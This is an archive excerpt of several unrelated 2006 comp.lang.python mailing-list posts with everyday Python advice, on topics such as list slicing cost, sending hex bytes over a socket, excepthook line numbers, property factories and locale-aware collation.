From ebgssth at gmail.com  Mon Oct  2 12:16:10 2006
From: ebgssth at gmail.com (js )
Date: Tue, 3 Oct 2006 01:16:10 +0900
Subject: Sort by domain name?
In-Reply-To: <1159803931.803028.197770@k70g2000cwa.googlegroups.com>
References: <mailman.1094.1159801691.10491.python-list@python.org>
	<7xmz8ekayz.fsf@ruckus.brouhaha.com>
	<1159803931.803028.197770@k70g2000cwa.googlegroups.com>
Message-ID: <a23effaf0610020916m4398af8cu7ecaf0af63bbf49a@mail.gmail.com>

> Gentle reminder: is this homework?  And you can expect better responses
> if you show youve bootstrapped yourself on the problem to some extent.

Sure thing.
First I tried to solve this by using a list of domain found at
http://www.neuhaus.com/domaincheck/domain_list.htm

I converted this to a list (in python) and tried like below

look for url that endswith(domain in domains)
if found:
  capture the left side of the domain part(tld) and
  save all url to a dictionary that key is the captured string

to me this seems to work but stuck because this solution seems no good.


From duncan.booth at invalid.invalid  Fri Oct 13 04:42:40 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 13 Oct 2006 08:42:40 GMT
Subject: Efficiently iterating over part of a list
References: <pan.2006.10.13.07.35.48.237633@REMOVEME.cybersource.com.au>
Message-ID: <Xns985B62CEA8F34duncanbooth@127.0.0.1>

Steven D'Aprano <steve at REMOVEME.cybersource.com.au> wrote:

> The important thing to notice is that alist[1:] makes a copy. What if
> the list has millions of items and duplicating it is expensive? What
> do people do in that case?

I think you are worrying prematurely.

On my system slicing one element off the front of a 10,000,000 element list 
takes 440mS. The same operation on 1,000,000 elements taks 41mS. Iterating 
through the sliced list:

for x in r[1:]:
   y = x+1

takes 1.8s and 157mS respectively, so the slicing is only a quarter of the 
time for even this minimal loop. As soon as you do anything much inside the 
loop you can forget the slice cost.

Remember that copying the list never copies the elements in the list, it 
just copies pointers and bumps ref counts. Copying a list even if it has 
millions of items is not usually expensive compared with the costs of 
manipulating all the items in the list.

So the first thing you do is not to worry about this until you know it is 
an issue. Once you know for a fact that it is a problem, then you can look 
at optimising it with fancy lazy slicing techniques, but not before.


From http  Thu Oct  5 03:46:10 2006
From: http (Paul Rubin)
Date: 05 Oct 2006 00:46:10 -0700
Subject: hex sending
References: <1159949891.962523.182880@c28g2000cwb.googlegroups.com>
Message-ID: <7xzmcbfbnh.fsf@ruckus.brouhaha.com>

"hiroc" <hiroc13 at hotmail.com> writes:
> s.send("abc") # send test string
> I need to send hex:"10 06 00 0f 02 bc d1" instead of "abc"

See the binascii module:

   import binascii

   # a2b_hex stands for "ascii to binary conversion, hex format"
   # you must remove the spaces
   binary = binascii.a2b_hex ("1006000f02bcd1")

   s.send (binary)


From hpsekhon at googlemail.com  Tue Oct  3 09:03:51 2006
From: hpsekhon at googlemail.com (Hari Sekhon)
Date: Tue, 03 Oct 2006 14:03:51 +0100
Subject: excepthook doesn't give exact line number
Message-ID: <45225FB7.4040509@googlemail.com>

Hi,

I'm wondering if anyone can please help me on figuring out a better way 
of doing an excepthook. I have a script which is using an excepthook to 
catch any uncaught exceptions - there usually aren't any except when I 
am messing with the code, like right now  :-) 

The problem is that the excepthook gives the line of the topmost called 
function rather that the actual line that generated the error the way 
you get it with a normal traceback.


import sys, traceback

def myexcepthook(type,value,tb):
    <do something>
   
    exception_message = ( "\nLine no %s: %s - %s\n"
                                        "\nStack Trace:\n\n%s\n" % 
(tb.tb_lineno,type,value,str(traceback.print_exc(2))) )
   
    <send me an email etc....>

sys.excepthook = myexcepthook

<now do some work....>



So the tb object that is passed into the function gives the tb.tb_lineno 
as a line right near the end where the original topmost called function 
happens. This is a bit useless to me since I don't want to go looking 
for the exception manually through the entire code.

As you can see from my example, I have already used the traceback module 
which I usually use to give the normal traceback printout via 
traceback.print_exc(). Here it doesn't seem to work, it always give 
"None", likely because the excepthook has taken it or something.

Any guiding wisdom from the masters out there?

Much appreciated, thanks for reading.

-h

-- 
Hari Sekhon



From hanumizzle at gmail.com  Sat Oct  7 00:33:25 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Sat, 7 Oct 2006 00:33:25 -0400
Subject: problem with split
In-Reply-To: <1160194063.352905.106210@e3g2000cwe.googlegroups.com>
References: <1160194063.352905.106210@e3g2000cwe.googlegroups.com>
Message-ID: <463ff4860610062133h5e1c732eg5654dc8b5fa7c47b@mail.gmail.com>

On 6 Oct 2006 21:07:43 -0700, Eric_Dexter at msn.com <Eric_Dexter at msn.com> wrote:

> I want comment returned in an array and instr_number returned in an
> array.

Let me see if I understand what you want: if there is a line that
starts with instr (best tested with line.startswith('instr') :)), you
want the number and the commen afterwards. I used regexes for this
purpose. In your case:

import re

<snip>

if line.startswith('instr'):
  p = re.compile(r'(\d+)\s+;(.*)$')
  m = p.search(line)

return (m.group(1), m.group(2))

I returned a tuple of course; you may wish to change that.

BTW, thank you -- I just learned how to use re's in Python.


From python.sam at googlemail.com  Fri Oct  6 20:19:01 2006
From: python.sam at googlemail.com (sam)
Date: 6 Oct 2006 17:19:01 -0700
Subject: error handling in user input: is this natural or just laborious
In-Reply-To: <1160178799.914895.28100@k70g2000cwa.googlegroups.com>
References: <1160165545.417968.276460@b28g2000cwb.googlegroups.com>
	<sXzVg.9551$vJ2.7097@newssvr12.news.prodigy.com>
	<pmAVg.9558$vJ2.8276@newssvr12.news.prodigy.com>
	<1160178799.914895.28100@k70g2000cwa.googlegroups.com>
Message-ID: <1160180341.136179.176690@b28g2000cwb.googlegroups.com>

this does what i want, though i don't like the inner while loop having
to be there


def get_pct():
	while True:
		pct_list=[['cash', 0], ['bond', 0], ['blue', 0], ['tech', 0], ['dev',
0]]
		total=0
		for i in range(len(pct_list)):
			while True:
				pct_list[i][1]=raw_input('Please enter the percentage value for %s:
' %pct_list[i][0])
				if pct_list[i][1].isdigit() == False:
					print "You've messed up, do it again..."
				else:
					total+=int(pct_list[i][1])
					break
		if total == 100:
			return pct_list
			break
		else:
			print "You've messed up, do it again..."


gosh, a lot of work to get some input. i must be missing something,
though this is a lot better than what i had before...



From richardjones at optushome.com.au  Wed Oct  4 06:21:09 2006
From: richardjones at optushome.com.au (Richard Jones)
Date: Wed, 04 Oct 2006 20:21:09 +1000
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<1159875634.285633.226980@k70g2000cwa.googlegroups.com>
	<slrnei6v3l.96l.nick@irishsea.home.craig-wood.com>
Message-ID: <45238b15$0$27309$afc38c87@news.optusnet.com.au>

Nick Craig-Wood wrote:
> lbolognini at gmail.com <lbolognini at gmail.com> wrote:
>>  And i dunno what the case against Trac is (it looks a fine tool for my
>>  small projects) but probably it's not good enough for python.org
> 
> Trac is really good in my experience.

Trac was considered.


> A nice extra is that it is written in python.

So are Roundup and Launchpad, two of the other three trackers considered.


    Richard



From bj_666 at gmx.net  Wed Oct 18 02:34:53 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Wed, 18 Oct 2006 08:34:53 +0200
Subject: creating many similar properties
References: <n2fZg.3322$Ka1.1194@news01.roc.ny>
Message-ID: <pan.2006.10.18.06.34.49.660714@gmx.net>

In <n2fZg.3322$Ka1.1194 at news01.roc.ny>, Lee Harr wrote:

> But what if I have a whole bunch of these pwm properties?
> 
> I made this:
> 
> class RC(object):
>     def _makeprop(name):
>         prop = '_%s' % name
>         def _set(self, v):
>             v_new = v % 256
>             setattr(self, prop, v_new)
>         def _get(self):
>             return getattr(self, prop)
>         return property(_get, _set)
> 
>     pwm01 = _makeprop('pwm01')
>     pwm02 = _makeprop('pwm02')
> 
> 
> Not too bad, except for having to repeat the name.
> 
> I would like to just have a list of pwm names and
> have them all set up like that. It would be nice if
> each one was set to a default value of 127 also....
> 
> Any thoughts?

Use `__getattr__()` and `__setattr__()` methods and a dictionary of names
mapped to values and another that maps the names to default values for the
modulo operation.

Ciao,
	Marc 'BlackJack' Rintsch


From steve at holdenweb.com  Tue Oct  3 22:38:48 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 04 Oct 2006 03:38:48 +0100
Subject: Strange sorting error message
In-Reply-To: <1159915028.355898.40080@b28g2000cwb.googlegroups.com>
References: <1159915028.355898.40080@b28g2000cwb.googlegroups.com>
Message-ID: <efv6q5$a28$1@sea.gmane.org>

Dustan wrote:
> I'm hiding some of the details here, because I don't want to say what
> I'm actually doing.
> [...]

I have the answer to your problem but I don't actually want to tell you 
what it is.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From steve at holdenweb.com  Mon Oct  2 13:28:07 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 02 Oct 2006 18:28:07 +0100
Subject: How can I correct an error in an old post?
In-Reply-To: <1159808426.817883.280560@h48g2000cwc.googlegroups.com>
References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com>	<slrnei2btn.gim.grahn+nntp@frailea.sa.invalid>	<mailman.1100.1159803391.10491.python-list@python.org>
	<1159808426.817883.280560@h48g2000cwc.googlegroups.com>
Message-ID: <efri5l$96k$2@sea.gmane.org>

Blair P. Houghton wrote:
> Steve Holden wrote:
> 
>>Since this message was never on topic, I'd appreciate it if all
>>concerned would close this thread now.
> 
> 
> I already did.  How did you get in here?

:)
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From rpdooling at gmail.com  Mon Oct 23 16:00:37 2006
From: rpdooling at gmail.com (BartlebyScrivener)
Date: 23 Oct 2006 13:00:37 -0700
Subject: Getting a lot of SPAM from this list
In-Reply-To: <UeSdnWGhrcr6iaDYnZ2dnUVZ_s2dnZ2d@comcast.com>
References: <UeSdnWGhrcr6iaDYnZ2dnUVZ_s2dnZ2d@comcast.com>
Message-ID: <1161633637.146727.168250@f16g2000cwb.googlegroups.com>

Larry Bates wrote:

>  Does anyone have a suggestion as to a
> way that I can get less of this spam?  I could have another
> email address, but that won't help as I'd still get the spam
> and have to wade through it.

Why not just open a separate gmail address? And use it for comp lang
python only?

I find it much more convenient to browse to

http://groups.google.com/group/comp.lang.python

than to wade through emails. You can read and post or just quickly scan
for new stuff of interest. Also, the search box is invaluable.

Meanwhile, back at the gmail account, the spam filters aren't perfect,
but they do a pretty good job and, as I say, I'm mostly reading and
posting via the Goggle Group. So I don't really care if spam
accumulates back at my gmail address.

If they still require invitations, I'll send you one :)

rd



From gord at no_spaming.com  Wed Oct  4 20:53:52 2006
From: gord at no_spaming.com (gord)
Date: Wed, 4 Oct 2006 20:53:52 -0400
Subject: Where is Python in the scheme of things?
References: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
Message-ID: <8rGdnVLgM7g4yrnYnZ2dnUVZ_sqdnZ2d@magma.ca>

A very lively feedback indeed. I appreciate most of the points discussed and 
will persevere with the language until I understand the more powerful 
aspects of it. Then I will try the GUIs that were mentioned.
Many thanks, Gord.




From Leo.Kislov at gmail.com  Fri Oct 20 05:39:08 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 20 Oct 2006 02:39:08 -0700
Subject: Flexible Collating (feedback please)
References: <35kZg.6681$fl.2685@dukeread08>
	<1161253696.778503.45960@k70g2000cwa.googlegroups.com>
	<8JKZg.6744$fl.3093@dukeread08>
Message-ID: <1161337147.986135.312930@i42g2000cwa.googlegroups.com>

Ron Adam wrote:
> Leo Kislov wrote:
> > Ron Adam wrote:
> >
> >> locale.setlocale(locale.LC_ALL, '')  # use current locale settings
> >
> > It's not current locale settings, it's user's locale settings.
> > Application can actually use something else and you will overwrite
> > that. You can also affect (unexpectedly to the application)
> > time.strftime() and C extensions. So you should move this call into the
> > _test() function and put explanation into the documentation that
> > application should call locale.setlocale
>
> I'll experiment with this a bit, I was under the impression that local.strxfrm
> needed the locale set for it to work correctly.

Actually locale.strxfrm and all other functions in locale module work
as designed: they work in C locale before the first call to
locale.setlocale. This is by design, call to locale.setlocale should be
done by an application, not by a 3rd party module like your collation
module.

> Maybe it would be better to have two (or more) versions?  A string, unicode, and
> locale version or maybe add an option to __init__ to choose the behavior?

I don't think it should be two separate versions. Unicode support is
only a matter of code like this:

# in the constructor
self.encoding = locale.getpreferredencoding()

# class method
def strxfrm(self, s):
    if type(s) is unicode:
        return locale.strxfrm(s.encode(self.encoding,'replace')
    return locale.strxfrm(s)

and then instead of locale.strxfrm call self.strxfrm. And similar code
for locale.atof

> This was the reason for using locale.strxfrm. It should let it work with unicode
> strings from what I could figure out from the documents.
>
> Am I missing something?

strxfrm works only with byte strings encoded in the system encoding.

  -- Leo